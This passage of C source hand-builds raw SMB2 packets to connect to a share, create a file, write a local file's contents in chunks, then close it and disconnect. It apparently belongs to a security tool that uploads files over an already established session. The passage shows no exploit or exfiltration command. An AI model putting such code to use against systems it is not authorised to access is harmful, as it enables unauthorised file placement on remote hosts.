netsess[2] = slen.buffer[1]; 398 | 399 | memcpy(finalPacket, netsess, 4); 400 | memcpy(finalPacket + 4, OutBuffer, start); 401 | send(s, finalPacket, 4 + start, 0); 402 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 403 | 404 | return ret; 405 | } 406 | 407 | BOOL SMB2TreeConnect(SOCKET s, char* recBuffer, int& MessageID, wchar_t* path) { 408 | BOOL ret = TRUE; 409 | myint mpid; 410 | usmb2_header s2h; 411 | u_tree_connect_request_header trh; 412 | unsigned char sessid[8]; 413 | char netsess[4]; 414 | char finalPacket[DEFAULT_BUFLEN]; 415 | 416 | trh.trh.flags = 0; 417 | trh.trh.structured_size = 9; 418 | trh.trh.path_offset = 0x48; 419 | trh.trh.path_len = wcslen(path) * 2; 420 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 421 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 422 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 423 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 424 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 425 | memcpy(&s2h.smb2_header.Command[0], "\x03\x00", 2); 426 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 427 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4); 428 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 429 | s2h.smb2_header.MessageID = MessageID++; 430 | mpid.i = GetCurrentProcessId(); 431 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 432 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4); 433 | memcpy(&sessid[0], &recBuffer[44], 8); 434 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 435 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 436 | 437 | memset(netsess, 0, 4); 438 | netsess[3] = sizeof(s2h.buffer) + sizeof(trh) + wcslen(path) * 2; 439 | 440 | memcpy(finalPacket, netsess, 4); 441 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer)); 442 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), trh.buffer, sizeof(trh.buffer)); 443 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + sizeof(trh.buffer), path, wcslen(path) * 2); 444 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(trh.buffer) + (wcslen(path) * 2), 0); 445 | 446 | // here we receive the return status of the Connect Tree from SMB 447 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 448 | unsigned int* connectTreeStatus = (unsigned int*)(recBuffer + 12); 449 | if (*connectTreeStatus != 0) { 450 | printf("[!] SMB Connect Tree: %S failed with status code 0x%x\n", path, *connectTreeStatus); 451 | ret = FALSE; 452 | } 453 | else { 454 | printf("[+] SMB Connect Tree: %S success\n", path); 455 | } 456 | return ret; 457 | } 458 | 459 | BOOL SMB2CreateFileRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* fname) { 460 | BOOL ret = TRUE; 461 | myint mpid; 462 | myshort us; 463 | usmb2_header s2h; 464 | unsigned char sessid[8]; 465 | char netsess[4]; 466 | u_create_request create_req; 467 | char finalPacket[DEFAULT_BUFLEN]; 468 | memcpy(&sessid[0], &recBuffer[44], 8); 469 | mpid.i = GetCurrentProcessId(); 470 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 471 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 472 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 473 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 474 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 475 | memcpy(&s2h.smb2_header.Command[0], "\x05\x00", 2); 476 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 477 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4); 478 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 479 | s2h.smb2_header.MessageID = MessageID++; 480 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 481 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4); 482 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 483 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 484 | memset(&create_req, 0, sizeof(create_req)); 485 | create_req.cr.StructuredSize = 0x39; 486 | create_req.cr.SecurityFlags = '\x00'; 487 | create_req.cr.RequestedOplockLevel = '\xff'; 488 | create_req.cr.ImpersonationLevel = 2; 489 | memcpy(&create_req.cr.SmbCreateFlags[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8); 490 | memcpy(&create_req.cr.Reserved[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8); 491 | memcpy(&create_req.cr.DesiredAccess[0], "\x96\x01\x12\x00", 4); 492 | memcpy(&create_req.cr.FileAttribute[0], "\x80\x00\x00\x00", 4); 493 | memcpy(&create_req.cr.ShareAccess[0], "\x01\x00\x00\x00", 4); 494 | memcpy(&create_req.cr.CreateDisposition[0], "\x05\x00\x00\x00", 4); 495 | memcpy(&create_req.cr.CreateOptions[0], "\x60\x00\x00\x00", 4); 496 | create_req.cr.NameOffset = 0x78; 497 | create_req.cr.NameLength = wcslen(fname) * 2; 498 | create_req.cr.CreateContextsOffset = 0; 499 | create_req.cr.CreateContextsLength = 0; 500 | memset(netsess, 0, 4); 501 | us.i = sizeof(create_req) + sizeof(s2h) + (wcslen(fname) * 2); 502 | netsess[2] = us.buffer[1]; 503 | netsess[3] = us.buffer[0]; 504 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 505 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 506 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 507 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 508 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 509 | memcpy(&s2h.smb2_header.Command[0], "\x05\x00", 2); 510 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 511 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4); 512 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 513 | s2h.smb2_header.MessageID = MessageID++; 514 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 515 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4); 516 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 517 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 518 | 519 | // send the final packet 520 | memcpy(finalPacket, netsess, 4); 521 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer)); 522 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), create_req.buffer, sizeof(create_req.buffer)); 523 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + sizeof(create_req.buffer), fname, wcslen(fname) * 2); 524 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(create_req.buffer) + (wcslen(fname) * 2), 0); 525 | 526 | // here we receive the return status of the Create Request File from SMB 527 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 528 | unsigned int* createFileStatus = (unsigned int*)(recBuffer + 12); 529 | if (*createFileStatus != 0) { 530 | printf("[!] SMB Create Request File failed with status code 0x%x\n", *createFileStatus); 531 | ret = FALSE; 532 | } 533 | else { 534 | printf("[+] SMB Create Request File: %S success\n", fname); 535 | } 536 | 537 | return ret; 538 | } 539 | 540 | BOOL SMB2WriteRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* infile, wchar_t* fname) { 541 | BOOL ret = TRUE; 542 | myint mpid; 543 | myshort slen; 544 | usmb2_header s2h; 545 | unsigned char sessid[8]; 546 | char netsess[4]; 547 | char fileid[16]; 548 | unsigned int* writeResponseStatus; 549 | u_write_request write_req; 550 | FILE* fp; 551 | char* chunk = NULL; 552 | char* finalPacket = NULL; 553 | size_t nread; 554 | char cinfile[MAX_PATH]; 555 | 556 | memcpy(&sessid[0], &recBuffer[44], 8); 557 | mpid.i = GetCurrentProcessId(); 558 | memset(cinfile, 0, sizeof(cinfile)); 559 | wcstombs(cinfile, infile, wcslen(infile)); 560 | fp = fopen(cinfile, "rb"); 561 | if (fp == NULL) { 562 | printf("[!] Unable to open input file: %s\n", cinfile); 563 | return FALSE; 564 | } 565 | write_req.wr.FileOffset = 0; 566 | memcpy(fileid, recBuffer + 132, 16); 567 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 568 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 569 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 570 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 571 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 572 | memcpy(&s2h.smb2_header.Command[0], "\x09\x00", 2); 573 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 574 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4); 575 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 576 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 577 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4); 578 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 579 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 580 | memset(&write_req, 0, sizeof(write_req)); 581 | memcpy(&write_req.wr.fileid[0], fileid, 16); 582 | write_req.wr.FileOffset = 0L; 583 | write_req.wr.StructureSize = 0x31; 584 | write_req.wr.DataOffset = 0x70; 585 | chunk = (char*)malloc(CHUNK_SIZE); 586 | finalPacket = (char*)malloc(DEFAULT_BUFLEN * 16); 587 | while ((nread = fread(chunk, 1, CHUNK_SIZE, fp)) > 0) { 588 | write_req.wr.WriteLen = nread; 589 | s2h.smb2_header.MessageID = MessageID++; 590 | slen.i = sizeof(s2h.buffer) + sizeof(write_req) + nread; 591 | memset(netsess, 0, 4); 592 | netsess[3] = slen.buffer[0]; 593 | netsess[2] = slen.buffer[1]; 594 | memset(finalPacket, 0, DEFAULT_BUFLEN * 16); 595 | memcpy(finalPacket, netsess, 4); 596 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer)); 597 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), write_req.buffer, 48); 598 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + 48, chunk, nread); 599 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + 48 + nread, 0); 600 | // here we receive the return status of the Write Request from SMB 601 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 602 | writeResponseStatus = (unsigned int*)(recBuffer + 12); 603 | if (*writeResponseStatus != 0) { 604 | printf("[!] SMB Write Request failed with status code 0x%x\n", *writeResponseStatus); 605 | return FALSE; 606 | } 607 | write_req.wr.FileOffset = write_req.wr.FileOffset + nread; 608 | } 609 | printf("[+] SMB Write Request file: %S success\n", fname); 610 | free(chunk); 611 | free(finalPacket); 612 | return ret; 613 | } 614 | 615 | BOOL SMB2CloseFileRequest(SOCKET s, char* recBuffer, int& MessageID) { 616 | BOOL ret = TRUE; 617 | myint mpid; 618 | usmb2_header s2h; 619 | unsigned char sessid[8]; 620 | char netsess[4]; 621 | char finalPacket[DEFAULT_BUFLEN]; 622 | char fileid[16]; 623 | 624 | unsigned char close_file[] = \ 625 | "\x18\x00\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x0a\x00\x00\x00" \ 626 | "\x09\x00\x00\x00\x0a\x00\x00\x00"; 627 | 628 | memcpy(&sessid[0], &recBuffer[44], 8); 629 | mpid.i = GetCurrentProcessId(); 630 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 631 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 632 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 633 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 634 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 635 | memcpy(&s2h.smb2_header.Command[0], "\x06\x00", 2); 636 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 637 | memcpy(&s2h.smb2_header.Flags[0], "\x30\x00\x00\x00", 4); 638 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 639 | s2h.smb2_header.MessageID = MessageID++; 640 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 641 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4); 642 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 643 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 644 | memset(netsess, 0, 4); 645 | netsess[3] = 0x58; 646 | memcpy(fileid, recBuffer + 132, 16); 647 | memcpy(close_file + 8, fileid, 16); 648 | memcpy(finalPacket, netsess, 4); 649 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer)); 650 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), close_file, sizeof(close_file)); 651 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(close_file), 0); 652 | // here we receive the return status of the Close File Request from SMB 653 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 654 | unsigned int* closeFileStatus = (unsigned int*)(recBuffer + 12); 655 | if (*closeFileStatus != 0) { 656 | printf("[!] SMB Close File Request failed with status code 0x%x\n", *closeFileStatus); 657 | ret = FALSE; 658 | } 659 | else { 660 | printf("[+] SMB Close File success\n"); 661 | } 662 | return ret; 663 | } 664 | 665 | BOOL SMB2TreeDisconnect(SOCKET s, char* recBuffer, int& MessageID) { 666 | BOOL ret = TRUE; 667 | myint mpid; 668 | usmb2_header s2h; 669 | unsigned char sessid[8]; 670 | char netsess[4]; 671 | char finalPacket[DEFAULT_BUFLEN]; 672 | 673 | unsigned char tree_disconnect[] = "\x04\x00\x00\x00"; 674 | 675 | memcpy(&sessid[0], &recBuffer[44], 8); 676 | mpid.i = GetCurrentProcessId(); 677 | memset(netsess, 0, 4); 678 | netsess[3] = 0x44; 679 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 680 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 681 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 682 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 683 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 684 | memcpy(&s2h.smb2_header.Command[0], "\x04\x00", 2); 685 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 686 | memcpy(&s2h.smb2_header.Flags[0], "\x30\x00\x00\x00", 4); 687 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 688 | s2h.smb2_header.MessageID = MessageID++;// , "\x10\x00\x00\x00\x00\x00\x00\x00", 8); 689 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 690 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4); 691 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 692 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 693 | 694 | memcpy(finalPacket, netsess + 1, 3); 695 | memcpy(finalPacket + 3, s2h.buffer, sizeof(s2h.buffer)); 696 | memcpy(finalPacket + 3 + sizeof(s2h.buffer), tree_disconnect, sizeof(tree_disconnect)); 697 | send(s, finalPacket, 3 + sizeof(s2h.buffer) + sizeof(tree_disconnect), 0); 698 | // here we receive the return status of the Close File Request from SMB 699 | recv(s, recBuffer, DEFAULT_BUFLEN, 0); 700 | unsigned int* treeDisconnectStatus = (unsigned int*)(recBuffer + 12); 701 | if (*treeDisconnectStatus != 0) { 702 | printf("[!] SMB Tree Disconnect failed with status code 0x%x\n", *treeDisconnectStatus); 703 | ret = FALSE; 704 | } 705 | else { 706 | printf("[+] SMB Tree Disconnect success\n"); 707 | } 708 | return ret; 709 | } --------------------------------------------------------------------------------